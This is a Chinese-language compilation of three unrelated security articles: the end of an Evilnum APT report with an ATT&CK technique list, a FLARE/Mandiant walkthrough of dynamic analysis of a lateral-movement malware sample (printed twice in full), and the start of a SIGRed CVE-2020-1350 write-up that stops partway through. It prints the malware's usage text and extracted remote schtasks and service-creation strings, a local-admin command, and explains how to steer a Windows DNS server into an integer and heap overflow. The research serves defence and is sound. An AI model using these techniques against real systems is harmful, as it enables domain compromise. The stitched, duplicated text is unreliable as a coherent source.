2、几个NirSoft实用程序,例如Mail PassView(用于从电子邮件客户端检索密码)、ProduKey(用于获取Microsoft Office和Windows许可证)。

0x07 总结

Evilnum恶意组织已经运作了至少两年,在撰写本文时持续活跃中。该恶意组织使用了与多个不同服务器进行交互的基础结构,其中的一个用来与JS组件进行通信,一个用于与C#组件通信,一个用来存储其工具和窃取到的数据,还有一个用于代理服务器,等等。该恶意组织的目标是为客户提供交易和投资平台的金融科技公司。这一目标非常具体,并且不会涉及到太多家公司。其选取的目标也是恶意组织之所以在攻击链中使用合法工具的原因之一,由此导致恶意活动在很大程度上受到研究人员的关注。借助遥测数据,我们能够将各种线索连接起来,发现该组织的工作方式,从而发现与其他APT组织的一些重合之处。我们认为该恶意组织与其他恶意组织共同使用同一家MaaS提供商的服务,Evilnum恶意组织暂时无法与任何其他先前发现的APT组织的攻击活动相关联。

可以在我们的GitHub中找到完整的威胁指标(IoC)和样本列表: https://github.com/eset/malware-ioc/tree/master/evilnum 。

如果有任何与该恶意组织相关的样本查询需求,或者希望向我们提交样本,请通过 [email protected] 与我们联系。

特别感谢Ignacio Sanmillan在分析Golden Chickens组件过程中向我们提供的帮助。

0x08 MITRE ATT&CK技术

1、初始访问

钓鱼链接(T1192):电子邮件中包含一个链接,用于从外部服务器下载压缩文件。

2、执行

(1) CMSTP(T1191):cmstp.exe用于执行删除恶意ActiveX文件的远程托管脚本。

(2) 命令行界面(T1059):cmd.exe用于执行命令和脚本。

(3) 通过模块加载执行(T1129):从DLL加载4.0版本的C#组件Payload。TerraTV加载了恶意DLL,以允许在静默状态下使用TeamViewer。

(4) 图形用户界面(T1061):TerraTV恶意软件允许使用TeamViewer进行远程控制。

(5) PowerShell(T1086):Evilnum恶意组织在使用JS组件攻陷目标后,执行了LaZagne和其他PowerShell脚本。

(6) Regsvr32(T1117):Evilnum恶意组织使用regsvr32.exe执行其Golden Chickens工具。

(7) 脚本(T1064):在最开始的环节和攻陷后环节中,使用了几种JavaScript、Python和PowerShell脚本。

(8) 签名的二进制代理(T1218):执行msiexec.exe以安装恶意C#组件。

(9) 用户执行(T1204):受害者被诱导打开用于安装恶意JS组件的LNK文件。

(10) WMI(T1047):JS组件使用WMI来获取信息,例如安装了哪种反病毒产品。

(11) XSL脚本处理(T1220):More_eggs恶意软件使用msxsl.exe从XSL文件中调用JS代码。

3、持久性

(1) 注册表运行键/启动文件夹(T1060):为创建JS组件、C#组件和More_eggs的持久性,创建了注册表运行键。

(2) 冗余访问(T1108):Evilnum的组件是独立存在的,并且在检测到另一个组件被删除时会提供冗余备份。

(3) Hooking(T1179):TerraTV恶意软件在TeamViewer中Hook了多个API调用。

4、逃避防御

(1) DLL搜索顺序劫持(T1038):TerraTV恶意软件让TeamViewer加载了位于同目录下的DLL,而不是位于系统文件夹中的原始Windows DLL。

(2) 绕过用户访问控制(T1088):PowerShell脚本用于绕过UAC。

(3) 代码签名(T1116):一些Golden Chickens组件是经过恶意签名的可执行文件。此外,Evilnum恶意组织使用合法(签名后的)应用程序(例如cmstp.exe或msxsl.exe)作为逃避防御机制。

(4) 连接代理服务器(T1090):使用攻击后脚本与代理服务器建立连接。

(5) 反混淆/界面文件或信息(T1140):在Evilnum恶意软件组件中,多处使用到了加密、编码或混淆后的内容。

(6) 文件删除(T1107):JS组件和C#组件都将删除在初始阶段创建的临时文件和文件夹。

(7) 隐藏窗口(T1143):TerraTV运行TeamViewer时,其窗口和任务栏图标均已隐藏。

(8) 伪装(T1036):C#组件在system.memmory.dll中具有Payload,伪装成良性的.NET Framework DLL。

(9) 修改注册表(T1112):Evilnum出于不同目的修改注册表,主要目的是为了持久保存在受感染的系统中(例如:注册表的运行键)。

(10) 混淆文件或信息(T1027):在Evilnum恶意软件组件中,多处使用到了加密、编码或混淆后的内容。

(11) 虚拟化/沙箱逃逸(T1497):Golden Chickens组件实现了集中完整性检查和逃避技术。

5、凭据访问

(1) 凭据转储(T1003):使用脚本和工具(例如LaZagne)检索存储的凭据。

(2) Web浏览器凭据(T1503):C#组件从Chrome检索存储的密码。

(3) 捕获输入(T1056):使用自定义Python脚本记录键盘输入。

(4) 窃取Web Session(T1539):Evilnum恶意软件从Chrome窃取Cookie。

6、侦查

(1) 查询注册表(T1012):More_eggs查询注册表以获知用户是否具有管理员权限。

(2) 安全软件侦查(T1063):JS组件和C#组件会搜索已安装的反病毒软件。

(3) 软件侦查(T1518):TerraStealer恶意软件会寻找特定的应用程序。

(4) 系统信息侦查(T1082):将与系统相关的信息发送到C&C服务器。

7、收集

(1) 数据暂存(T1074):在发送到C&C之前,先将数据存储在一个临时位置。

(2) 本地系统数据(T1005):JS组件(2.1版本)具有用于从本地系统中提取Excel文件的代码。

(3) 电子邮件收集(T1114):TerraStealer恶意软件以电子邮件应用程序为目标。

(4) 输入捕获(T1056):使用Python脚本记录用户输入的击键。

(5) 屏幕截图(T1113):部分Evilnum恶意软件组件对屏幕进行截图。

8、命令与控制

(1) 常用端口(T1043):C&C通信使用HTTP或HTTPS端口。

(2) 数据编码(T1132):发送到C&C的部分数据经过Base64编码。

(3) 备份通道(T1008):如果原始C&C发生故障,则JS组件和C#组件可以通过解析第三方网页来获得新的C&C。

(4) 多阶段通道(T1104):Evilnum恶意软件的各种组件使用独立的C&C服务器。

(5) 远程访问工具(T1219):TerraTV恶意软件使用TeamViewer使攻击者获得计算机的控制权。

(6) 远程文件复制(T1105):向/从C&C服务器上传/下载文件。

(7) 标准应用层协议(T1071):C&C使用HTTP和HTTPS协议。

(8) Web服务(T1102):攻击者使用GitHub、GitLab、Reddit和其他网站用于存储C&C服务器信息。

9、渗出

(1) 加密数据(T1022):部分Evilnum组件在将数据发送到C&C前先对其进行加密。

(2) 通过备用协议进行渗出(T1048):恶意软件操作员手动部署脚本,将数据发送到FTP服务器。

(3) 在命令和控制通道中渗出(T1041):在用于C&C的相同通道中渗出数据。

0x00 前言

我们最近遇到了一个大型的恶意软件样本,该恶意软件经过混淆,为我们提供了一些有趣的分析挑战。该恶意软件使用虚拟化技术,阻止生成完全反混淆后的内存转储,以防止静态分析过程。如果要对这个大型虚拟化样本进行分析,可能需要几天到几周的事件。为解决这一问题,FLARE逆向工程团队与Mandiant咨询团队之间开展了合作,最终将逆向工程的过程减少到数个小时的时间。

我们怀疑该样本是横向移动的工具,因此我们需要适当的环境来进行动态分析。事实证明,配置环境是必不可少的,我们希望赋能给遇到利用Windows域的恶意样本的其他分析工程师。在本篇文章中,我们将说明如何设置Windows域,以运行恶意软件,随后将介绍用于确认某些恶意软件功能的分析技术。

0x01 初步分析

在分析新型恶意软件样本时,我们首先要从最基本的静态分析开始,我们通常可以了解样本的类型和功能。利用这一信息,我们就可以规划分析的后续阶段,并专注于相关数据。我们从可移植的可执行分析工具开始,例如CFF Explorer。在这种情况下,我们发现样本较大,达到了6.64MB。这通常表明,样本中包含静态链接库,例如Boost或OpenSSL,这会导致分析过程变得困难。

此外,我们注意到,导入表中包含8个动态链接的DLL,每个DLL仅有一个导入函数,如下图所示。这是加壳程序和混淆程序用来导入DLL的常用技术,后续可以将这些DLL用于运行时链接,而不会公开恶意软件使用的实际API。

可疑导入:

Picture1.png

我们在对字符串进行分析的过程中,证实了我们的怀疑,也就是这个恶意软件难以进行静态分析。由于文件太大,因此有超过75000个字符串需要考虑。我们使用StringSifter,根据与恶意软件的相关性,对字符串进行排名,但一无所获。下图展示了使用StringSifter得到的最相关的字符串。

StringSifter输出结果:

Picture2.png

当我们遇到这类障碍时,通常会考虑使用动态分析的方法来揭秘恶意软件的行为。在这种情况下,我们的基础动态分析似乎有一些希望。在执行后,恶意样本打印出了用法说明:

Usage: evil.exe [/P:str] [/S[:str]] [/B:str] [/F:str] [/C] [/L:str] [/H:str] [/T:int] [/E:int] [/R]
   /P:str -- path to payload file.
   /S[:str] -- share for reverse copy.
   /B:str -- path to file to load settings from.
   /F:str -- write log to specified file.
   /C -- write log to console.
   /L:str -- path to file with host list.
   /H:str -- host name to process.
   /T:int -- maximum number of concurrent threads.
   /E:int -- number of seconds to delay before payload deletion (set to 0 to avoid remove).
   /R -- remove payload from hosts (/P and /S will be ignored).
If /S specifed without value, random name will be used.
/L and /H can be combined and specified more than once. At least one must present.
/B will be processed after all other flags and will override any specified values (if any).
All parameters are case sensetive.

我们尝试在暂停进程时通过转储内存来实现恶意样本的脱壳。但事实证明,这非常困难,因为恶意软件几乎立即就退出了,并且自行删除。通过使用下面的命令,我们最终成功获得了部分脱壳后的内存转储。

执行以运行二进制文件的命令:

sleep 2 && evil.exe /P:"C:\Windows\System32\calc.exe" /E:1000 /F:log.txt /H:some_host

我们选择了一个任意的Payload文件,并为Payload删除选择了一个较大的间隔。我们还提供了一个日志文件名和一个主机名,用于执行Payload。这些参数的作用在于缩短执行时间,因此我们就可以在进程终止时,将其挂起。

在两秒钟过后,我们使用Process Dump生成了内存快照。但遗憾的是,虚拟化仍然阻碍了静态分析过程,并且我们的样本大部分仍然被混淆。不管如何,我们还是成功提取到了一些字符串,也算是有了一些突破。

下面展示了我们发现的一些值得关注的字符串,这些字符串在原始的二进制文件中不存在。

内存转储中的字符串输出:

dumpedswaqp.exe
psxexesvc
schtasks.exe /create /tn "%s" /tr "%s" /s "%s" /sc onstart /ru system /f
schtasks.exe /run /tn "%s" /s "%s"
schtasks.exe /delete /tn "%s" /s "%s" /f
ServicesActive
Payload direct-copied
Payload reverse-copied
Payload removed
Task created
Task executed
Task deleted
SM opened
Service created
Service started
Service stopped
Service removed
Total hosts: %d, Threads: %d
SHARE_%c%c%c%c
Share "%s" created, path "%s"
Share "%s" removed
Error at hooking API "%S"
Dumping first %d bytes:
DllRegisterServer
DllInstall
register
install

到目前为止,根据我们的分析,我们怀疑这一恶意软件的作用是远程系统访问。但是,如果不提供一个可用于横向移动的测试环境,我们就无法证实我们的怀疑。为了加快分析,我们创建了一个虚拟化的Windows域。

这需要一些配置过程,因此在使用这一分析技术时,我们在这里详细记录了过程,以帮助其他研究人员。

0x02 创建测试环境

在测试环境中,需要确保安装干净的Windows 10和Windows 2016(Desktop Experience)虚拟机。我们建议创建两台Windows Server 2016虚拟机,这样就可以将域控制器和其他测试系统分开。

在宿主机系统上的VMware Virtual Network Editor中,使用以下设置创建自定义网络。

1、在VMNet Information下,选择“Host-only”选项;

2、确保禁用“Connect a host virtual adapter”(连接宿主机虚拟适配器)选项,以防止连接到外部世界;

3、如果使用静态IP地址,应确保禁用“Use local DHCP service”(使用本地DHCP服务)选项。

如下图所示。

虚拟网络适配器配置:

Picture6.png

然后,配置虚拟机的网络适配器,以连接到该网络。

1、为虚拟机配置主机名和静态IP地址;

2、选择域控制器IP作为所有虚拟机的默认网关和DNS服务器。

我们使用了下图所示的系统配置。

示例系统配置:

Picture7.png

在完成所有配置后,首先将Active Directory(活动目录)域服务和DNS服务器角色安装到指定的域控制器服务器上。这可以通过Windows Server Manager应用程序,选择下图中所示的选项来完成。在添加角色后,就可以在整个对话框中使用默认设置。

域控制器上所需的角色:

Picture8.png

一旦安装了角色,就可以运行升级操作,如下图所示。将Active Directory域服务角色添加到服务器后,可以通过通知菜单(标志图标)访问升级选项。添加具有完全限定根域名的新森林,例如testdomain.local。其他选项可以保留为默认值。在上述升级过程完成后,重新启动系统。

在服务器管理器中,将系统升级为域控制器:

Picture9.png

在升级域控制器后,可以通过域控制器上的“Active Directory Users and Computers”(活动目录用户和计算机)创建测试用户帐户,如下图所示。

测试用户帐户:

Picture10.png

在创建测试帐户后,继续将虚拟网络上的其他系统加入域。这可以通过高级系统设置来完成,如下图所示。使用测试帐户凭据,将系统加入域中。

为每个虚拟机配置域:

Picture11.png

在将所有系统都加入域后,请验证每个系统是否可以ping其他系统。我们建议在测试环境中禁用Windows防火墙,以确保每个系统都可以访问测试环境中的另一个系统的所有可用服务。

富裕测试帐户所有测试系统的挂历元权限。这可以通过使用下面的命令,手动修改每个系统上的本地管理员组来完成,或者通过组策略对象(GPO)自动进行。

将用户添加到本地管理员组的命令:

net localgroup administrators sa_jdoe /ADD

0x03 在Windows域中进行动态分析

至此,已经完成了全部的准备过程。我们通过安装并启动WireShark和Process Monitor来准备测试环境。我们对所有三个虚拟机做了快照,并在客户端的测试域帐户的上下文中运行了恶意软件,如下所示。

用于运行恶意软件的命令:

evil.exe /P:"C:\Windows\System32\calc.exe" /L:hostnames.txt /F:log.txt /S /C

我们使用以下主机名(以行作为分隔),填充hostnames.txt文件,如下所示。

hostnames.txt的文件内容:

DBPROD.testdomain.local
client.testdomain.local
DC.testdomain.local

0x04 数据包捕获分析

通过分析数据包捕获中的流量,我们在主机列表中确认了与每个系统的SMB连接。在SMB握手完成之前,需要Kerberos票证。如下图所示,向用户请求了票证授予票证(TGT),并向每台服务器请求了服务票证(ST)。如果大家想要了解有关Kerberos身份验证协议的更多信息,可以参考我们最近的博客文章,其中介绍了该协议和新的协议。

Kerberos身份验证过程:

Picture15.png

该恶意软件通过SMB访问C$共享,并写入文件C:\Windows\swaqp.exe。随后,它使用RPC启动SVCCTL,该SVCCTL用于注册和启动服务。SVCCTL创建了swaqpd服务,该服务用于执行Payload,随后被删除。最后,该文件也会被删除,并且我们未观察到其他恶意活动。流量如下图所示。

在数据包捕获过程中观察到的恶意软件行为:

Picture16.png

通过我们使用Process Monitor对恶意软件行为进行分析的过程,我们证实了这一发现。然后,我们继续使用不同的命令行选项和环境运行恶意软件。结合我们的静态分析过程,我们可以自信地确定恶意软件的功能,其中包括将Payload复制到远程主机、安装和运行服务以及事后删除证据。

0x05 总结

如果要对经过大量混淆的恶意样本进行静态分析,可能需要花费数十小时。在这种情况下,动态分析就提供了一种替代的解决方案,但它需要分析人员预测并模拟适当的执行环境。在这种情况下,我们可以将我们的样本分析基础知识与虚拟化的Windows域结合起来,以实现最终的分析。通过将FLARE的逆向工程知识与Mandiant的安全咨询、红队攻防经验相结合,我们充分利用了各项技能,最终成功将分析所花费的时间减少到几个小时。我们通过从受感染主机中快速提取必要的指标来支撑事件的应急响应调查。同时,我们希望分享这些经验,以帮助其他人建立自己的横向移动分析环境。

0x00 前言

我们最近遇到了一个大型的恶意软件样本,该恶意软件经过混淆,为我们提供了一些有趣的分析挑战。该恶意软件使用虚拟化技术,阻止生成完全反混淆后的内存转储,以防止静态分析过程。如果要对这个大型虚拟化样本进行分析,可能需要几天到几周的事件。为解决这一问题,FLARE逆向工程团队与Mandiant咨询团队之间开展了合作,最终将逆向工程的过程减少到数个小时的时间。

我们怀疑该样本是横向移动的工具,因此我们需要适当的环境来进行动态分析。事实证明,配置环境是必不可少的,我们希望赋能给遇到利用Windows域的恶意样本的其他分析工程师。在本篇文章中,我们将说明如何设置Windows域,以运行恶意软件,随后将介绍用于确认某些恶意软件功能的分析技术。

0x01 初步分析

在分析新型恶意软件样本时,我们首先要从最基本的静态分析开始,我们通常可以了解样本的类型和功能。利用这一信息,我们就可以规划分析的后续阶段,并专注于相关数据。我们从可移植的可执行分析工具开始,例如CFF Explorer。在这种情况下,我们发现样本较大,达到了6.64MB。这通常表明,样本中包含静态链接库,例如Boost或OpenSSL,这会导致分析过程变得困难。

此外,我们注意到,导入表中包含8个动态链接的DLL,每个DLL仅有一个导入函数,如下图所示。这是加壳程序和混淆程序用来导入DLL的常用技术,后续可以将这些DLL用于运行时链接,而不会公开恶意软件使用的实际API。

可疑导入:

Picture1.png

我们在对字符串进行分析的过程中,证实了我们的怀疑,也就是这个恶意软件难以进行静态分析。由于文件太大,因此有超过75000个字符串需要考虑。我们使用StringSifter,根据与恶意软件的相关性,对字符串进行排名,但一无所获。下图展示了使用StringSifter得到的最相关的字符串。

StringSifter输出结果:

Picture2.png

当我们遇到这类障碍时,通常会考虑使用动态分析的方法来揭秘恶意软件的行为。在这种情况下,我们的基础动态分析似乎有一些希望。在执行后,恶意样本打印出了用法说明:

Usage: evil.exe [/P:str] [/S[:str]] [/B:str] [/F:str] [/C] [/L:str] [/H:str] [/T:int] [/E:int] [/R]
   /P:str -- path to payload file.
   /S[:str] -- share for reverse copy.
   /B:str -- path to file to load settings from.
   /F:str -- write log to specified file.
   /C -- write log to console.
   /L:str -- path to file with host list.
   /H:str -- host name to process.
   /T:int -- maximum number of concurrent threads.
   /E:int -- number of seconds to delay before payload deletion (set to 0 to avoid remove).
   /R -- remove payload from hosts (/P and /S will be ignored).
If /S specifed without value, random name will be used.
/L and /H can be combined and specified more than once. At least one must present.
/B will be processed after all other flags and will override any specified values (if any).
All parameters are case sensetive.

我们尝试在暂停进程时通过转储内存来实现恶意样本的脱壳。但事实证明,这非常困难,因为恶意软件几乎立即就退出了,并且自行删除。通过使用下面的命令,我们最终成功获得了部分脱壳后的内存转储。

执行以运行二进制文件的命令:

sleep 2 && evil.exe /P:"C:\Windows\System32\calc.exe" /E:1000 /F:log.txt /H:some_host

我们选择了一个任意的Payload文件,并为Payload删除选择了一个较大的间隔。我们还提供了一个日志文件名和一个主机名,用于执行Payload。这些参数的作用在于缩短执行时间,因此我们就可以在进程终止时,将其挂起。

在两秒钟过后,我们使用Process Dump生成了内存快照。但遗憾的是,虚拟化仍然阻碍了静态分析过程,并且我们的样本大部分仍然被混淆。不管如何,我们还是成功提取到了一些字符串,也算是有了一些突破。

下面展示了我们发现的一些值得关注的字符串,这些字符串在原始的二进制文件中不存在。

内存转储中的字符串输出:

dumpedswaqp.exe
psxexesvc
schtasks.exe /create /tn "%s" /tr "%s" /s "%s" /sc onstart /ru system /f
schtasks.exe /run /tn "%s" /s "%s"
schtasks.exe /delete /tn "%s" /s "%s" /f
ServicesActive
Payload direct-copied
Payload reverse-copied
Payload removed
Task created
Task executed
Task deleted
SM opened
Service created
Service started
Service stopped
Service removed
Total hosts: %d, Threads: %d
SHARE_%c%c%c%c
Share "%s" created, path "%s"
Share "%s" removed
Error at hooking API "%S"
Dumping first %d bytes:
DllRegisterServer
DllInstall
register
install

到目前为止,根据我们的分析,我们怀疑这一恶意软件的作用是远程系统访问。但是,如果不提供一个可用于横向移动的测试环境,我们就无法证实我们的怀疑。为了加快分析,我们创建了一个虚拟化的Windows域。

这需要一些配置过程,因此在使用这一分析技术时,我们在这里详细记录了过程,以帮助其他研究人员。

0x02 创建测试环境

在测试环境中,需要确保安装干净的Windows 10和Windows 2016(Desktop Experience)虚拟机。我们建议创建两台Windows Server 2016虚拟机,这样就可以将域控制器和其他测试系统分开。

在宿主机系统上的VMware Virtual Network Editor中,使用以下设置创建自定义网络。

1、在VMNet Information下,选择“Host-only”选项;

2、确保禁用“Connect a host virtual adapter”(连接宿主机虚拟适配器)选项,以防止连接到外部世界;

3、如果使用静态IP地址,应确保禁用“Use local DHCP service”(使用本地DHCP服务)选项。

如下图所示。

虚拟网络适配器配置:

Picture6.png

然后,配置虚拟机的网络适配器,以连接到该网络。

1、为虚拟机配置主机名和静态IP地址;

2、选择域控制器IP作为所有虚拟机的默认网关和DNS服务器。

我们使用了下图所示的系统配置。

示例系统配置:

Picture7.png

在完成所有配置后,首先将Active Directory(活动目录)域服务和DNS服务器角色安装到指定的域控制器服务器上。这可以通过Windows Server Manager应用程序,选择下图中所示的选项来完成。在添加角色后,就可以在整个对话框中使用默认设置。

域控制器上所需的角色:

Picture8.png

一旦安装了角色,就可以运行升级操作,如下图所示。将Active Directory域服务角色添加到服务器后,可以通过通知菜单(标志图标)访问升级选项。添加具有完全限定根域名的新森林,例如testdomain.local。其他选项可以保留为默认值。在上述升级过程完成后,重新启动系统。

在服务器管理器中,将系统升级为域控制器:

Picture9.png

在升级域控制器后,可以通过域控制器上的“Active Directory Users and Computers”(活动目录用户和计算机)创建测试用户帐户,如下图所示。

测试用户帐户:

Picture10.png

在创建测试帐户后,继续将虚拟网络上的其他系统加入域。这可以通过高级系统设置来完成,如下图所示。使用测试帐户凭据,将系统加入域中。

为每个虚拟机配置域:

Picture11.png

在将所有系统都加入域后,请验证每个系统是否可以ping其他系统。我们建议在测试环境中禁用Windows防火墙,以确保每个系统都可以访问测试环境中的另一个系统的所有可用服务。

富裕测试帐户所有测试系统的挂历元权限。这可以通过使用下面的命令,手动修改每个系统上的本地管理员组来完成,或者通过组策略对象(GPO)自动进行。

将用户添加到本地管理员组的命令:

net localgroup administrators sa_jdoe /ADD

0x03 在Windows域中进行动态分析

至此,已经完成了全部的准备过程。我们通过安装并启动WireShark和Process Monitor来准备测试环境。我们对所有三个虚拟机做了快照,并在客户端的测试域帐户的上下文中运行了恶意软件,如下所示。

用于运行恶意软件的命令:

evil.exe /P:"C:\Windows\System32\calc.exe" /L:hostnames.txt /F:log.txt /S /C

我们使用以下主机名(以行作为分隔),填充hostnames.txt文件,如下所示。

hostnames.txt的文件内容:

DBPROD.testdomain.local
client.testdomain.local
DC.testdomain.local

0x04 数据包捕获分析

通过分析数据包捕获中的流量,我们在主机列表中确认了与每个系统的SMB连接。在SMB握手完成之前,需要Kerberos票证。如下图所示,向用户请求了票证授予票证(TGT),并向每台服务器请求了服务票证(ST)。如果大家想要了解有关Kerberos身份验证协议的更多信息,可以参考我们最近的博客文章,其中介绍了该协议和新的协议。

Kerberos身份验证过程:

Picture15.png

该恶意软件通过SMB访问C$共享,并写入文件C:\Windows\swaqp.exe。随后,它使用RPC启动SVCCTL,该SVCCTL用于注册和启动服务。SVCCTL创建了swaqpd服务,该服务用于执行Payload,随后被删除。最后,该文件也会被删除,并且我们未观察到其他恶意活动。流量如下图所示。

在数据包捕获过程中观察到的恶意软件行为:

Picture16.png

通过我们使用Process Monitor对恶意软件行为进行分析的过程,我们证实了这一发现。然后,我们继续使用不同的命令行选项和环境运行恶意软件。结合我们的静态分析过程,我们可以自信地确定恶意软件的功能,其中包括将Payload复制到远程主机、安装和运行服务以及事后删除证据。

0x05 总结

如果要对经过大量混淆的恶意样本进行静态分析,可能需要花费数十小时。在这种情况下,动态分析就提供了一种替代的解决方案,但它需要分析人员预测并模拟适当的执行环境。在这种情况下,我们可以将我们的样本分析基础知识与虚拟化的Windows域结合起来,以实现最终的分析。通过将FLARE的逆向工程知识与Mandiant的安全咨询、红队攻防经验相结合,我们充分利用了各项技能,最终成功将分析所花费的时间减少到几个小时。我们通过从受感染主机中快速提取必要的指标来支撑事件的应急响应调查。同时,我们希望分享这些经验,以帮助其他人建立自己的横向移动分析环境。

0x00 概述

DNS,通常被称为是“互联网的电话簿”,是一种将计算机主机名转换为IP地址的网络协议。由于它是互联网的核心组成部分之一,因此存在许多DNS服务器的解决方案和实现,但只有其中的少数几种方案正在被广泛应用。

Windows DNS服务器是Microsoft的实现方案,也是Windows域环境的必要组成部分。

SIGRed(CVE-2020-1350)是Windows DNS服务器中的一个严重漏洞,CVSS基本评分为10分,影响Windows Server 2003至2019版本,并且可能由恶意DNS响应触发漏洞。由于该服务通常以特权帐户(SYSTEM)运行,因此,如果攻击者成功利用该服务,则同样可以拿到域管理员权限,从而可以攻陷整个企业基础结构。

0x01 目标

我们的主要目标是发现漏洞,可以使攻击者攻陷Windows域环境,最好是在未经身份验证的前提下。此前,有多位独立安全研究人员和具有民族国家背景的研究团队都做过相关研究。目前大多数公开的资料和漏洞利用,都集中在Microsoft对SMB(EternalBlue)和RDP(BlueKeep)协议的实现上,因为这些协议同时影响服务器和终端。要获得域管理员特权,一种直接的方法是利用域控。因此,我们决定将研究重点放在Windows Server和域控上,去寻找一些鲜为人知的攻击面。接下来,我们进入到Windows DNS。

0x02 Windows DNS概述

域名系统(DNS)是构成TCP/IP行业标准协议组件之一,DNS客户端和DNS服务器共同为计算机和用户提供由计算机名称映射到IP地址的解析服务。

DNS主要使用UDP/53端口来服务于请求。DNS查询过程包括来自客户端的单个UDP请求,和来自服务器的单个UDP响应。

除了将名称转换为IP地址外,DNS还有其他用途。例如,邮件传输代理通过DNS查找最优的邮件服务器以传送电子邮件。MX记录提供域名到邮件交换服务器的映射,这样就可以额外增加一层,以提供容错和负载均衡的功能。我们可以在Wikipedia上找到可用DNS记录类型及其对应用途的列表。

由于本文的重点是漏洞分析,因此我们在此不再对DNS进行过多的介绍,大家可以参考其他位置了解有关DNS的更多信息。

目前,我们需要掌握的前置知识包括:

1、DNS通过UDP/TCP 53端口运行。

2、一条DNS消息(响应或查询)在UDP中限制为512字节,在TCP中限制为65535字节。

3、DNS本质上是分层和分散的。这意味着,当DNS服务器不知道要查询的结果时,会将查询转发到上层的DNS服务器。在最顶部,分布着位于全球范围的13台根DNS服务器。

在Windows中,DNS客户端和DNS服务器是在两个不同的模块中实现:

1、DNS客户端 - dnsapi.dll负责DNS解析。

2、DNS服务器 - dns.exe负责在安装了DNS角色的Windows Server上答复DNS查询。

我们的研究过程围绕着dns.exe模块来进行。

0x03 准备环境

我们的攻击面主要有两个场景:

1、DNS服务器在解析传入查询的方式中存在漏洞;

2、DNS服务器在解析转发查询的响应(答复)的方式中存在漏洞。

由于DNS查询的结构并不复杂,因此在第一种情况下发现漏洞的概率较小,所以我们决定将目标聚焦在为了转发查询而解析传入响应的函数。

如前所述,转发查询是在DNS体系结构中将不知道答案的查询转发到上层的DNS服务器。

但是,大多数环境中都会设置一些知名的DNS服务器,例如Google的8.8.8.8或Cloudflare的1.1.1.1,而这些服务器无法被攻击者控制。

这意味着,即使我们发现了在解析DNS响应的过程中存在漏洞,也需要以中间人的方式实现漏洞利用。显然,这还不够。

NS记录

NS代表”Name Server”,该记录表明哪个DNS服务器是域的授权(哪个服务器包含实际的DNS记录)。NS记录通常负责解析特定域的子域名。一个域通常具有多个NS记录,这些记录可以指示该域的主要名称服务器和备用名称服务器。

如果想要让目标Windows DNS服务器解析来自恶意DNS名称服务器的响应,可以执行以下操作:

1、将我们的域名(deadbeef.fun)的NS记录配置为指向我们的恶意DNS服务器(ns1.41414141.club)。

2、在潜在受害Windows DNS服务器上查询deadbeef.fun的NS记录。

3、权威服务器(8.8.8.8)知道答案,并回答deadbeef.fun的名称服务器是ns1.41414141.club。

4、潜在受害Windows DNS服务器处理并缓存此响应。

5、下次我们在查询deadbeef.fun的子域名时,潜在受害Windows DNS服务器还会查询ns1.41414141.club的响应,因为它是该域名的名称服务器。

在查询恶意服务器的DNS服务器上捕获的数据包:

1.png

0x04 CVE-2020-1350漏洞

函数:dns.exe!SigWireRead

漏洞类型:整数溢出,导致基于堆的缓冲区溢出

dns.exe为每种受支持的响应类型实现解析功能。

将Wire_CreateRecordFromWire: RRWireReadTable传递给RR_DispatchFunctionForType以确定处理函数:

2.png

RRWireReadTable和其支持的一些响应类型:

3.png

其中一种支持的响应类型是SIG查询。根据Wikipedia的说法,SIG查询是SIG(0)(RFC 2931)和TKEY(RFC 2930)中使用的签名记录。RFC 3755指定了RRSIG来替代DNSSEC内部使用的SIG。

我们使用Cutter,生成dns.exe!SigWireRead的反汇编,重点关注其中SIG响应类型的处理函数。

在Cutter中看到的dns.exe!SigWireRead的反汇编:

4.png

通过以下公式,计算传递给RR_AllocateEx(负责为“资源记录”分配内存的函数)的第一个参数:

[Name_PacketNameToCountNameEx result] + [0x14] + [The Signature field’s length (rdi–rax)]

签名字段的大小可能会有所不同,因为它是SIG响应中的主要Payload。

根据RFC 2535,查到SIG资源记录的结构:

5.png

如下图所示,RR_AllocateEx期望将其参数传递到16位寄存器中,因为它仅使用rdx的dx部分和rcx的cx部分。

这意味着,如果我们可以让上述公式计算的结果大于65535字节(16位整型的最大值),就将导致整型溢出,导致实际的分配比预期要小很多,有可能会导致基于堆的缓冲区覆盖。

RR_AllocateEx将其参数转换为16位值:

6.png

这个分配的内存地址随后会作为memcpy的目标缓冲区传递,从而导致基于堆的缓冲区溢出,这非常方便。

从RR_AllocateEx分配的缓冲区被传递给memcpy:

7.png

总而言之,通过发送包含较大SIG记录(大于64KB)的DNS响应,我们可以在较小的分配缓冲区上,引起一个大约64KB的受控堆缓冲区溢出。

0x05 触发漏洞

现在,我们已经可以让潜在受害DNS服务器查询我们的DNS服务器,从而将其转变为客户端。我们可以让潜在受害DNS服务器询问我们的恶意DNS服务器特定类型的查询,并以对应的恶意响应进行回答。

要触发该漏洞,只需让潜在受害DNS服务器向我们查询SIG记录,并回答包含较长签名(大于64KB)的SIG响应。但我们遗憾地发现,基于UDP的DNS大小限制为512字节(如果服务器支持EDNS0,则为4096字节)。无论如何,这不足以触发漏洞。

但是,如果服务器由于正当理由发送了大于4096字节的响应,会怎么样呢?例如,有一段比较长的TXT响应,或者可以解析为多个IP地址的主机名。

新的希望:DNS截断

根据DNS RFC 5966:

在没有使用EDNS0(DNS 0扩展机制)的情况下,如果需要发送超过512字节限制的UDP响应,服务器会截断响应,使其满足该大小限制,然后在响应头中设置TC标志。当客户端收到这样的响应时,TC标志会指示它使用TCP协议进行重试。

不错!所以说,我们可以在响应中设置TC(截断)标志,这将导致潜在受害Windows DNS服务器启动与恶意名称服务器的新TCP连接,并且可以传递大于4096字节的消息。但是,我们实际需要传递多大的消息?

根据DNS RFC 7766:

DNS客户端和服务器应该同时将两个8字节长度的字段以及该字段描述的消息传递到TCP层,以使所有数据能在单个TCP段中传输。

由于消息的前两个字节表示其长度,因此TCP上DNS消息的最大大小表示为16位,也就是限制在64KB以内。

通过TCP协议传递的DNS消息中,前两个字节表示消息的长度:

8.png

但是,即使一个长度为65535的消息,也不足以触发漏洞。因为消息中包含标头和原始查询。在计算传递给RR_AllocateEx的大小时,不会考虑这部分开销。

少即是多:DNS指针压缩

让我们再来看一个合法的DNS响应。为方便起见,我们选择了A类型的响应。

使用WireShark查看dig research.checkpoint.com A @8.8.8.8的响应:

9.png

我们可以看到,WireShark在响应的Name字段,将0xc00c字节直接转换为research.checkpoint.com。但这是为什么?

我们从powerdns.org找到了答案:

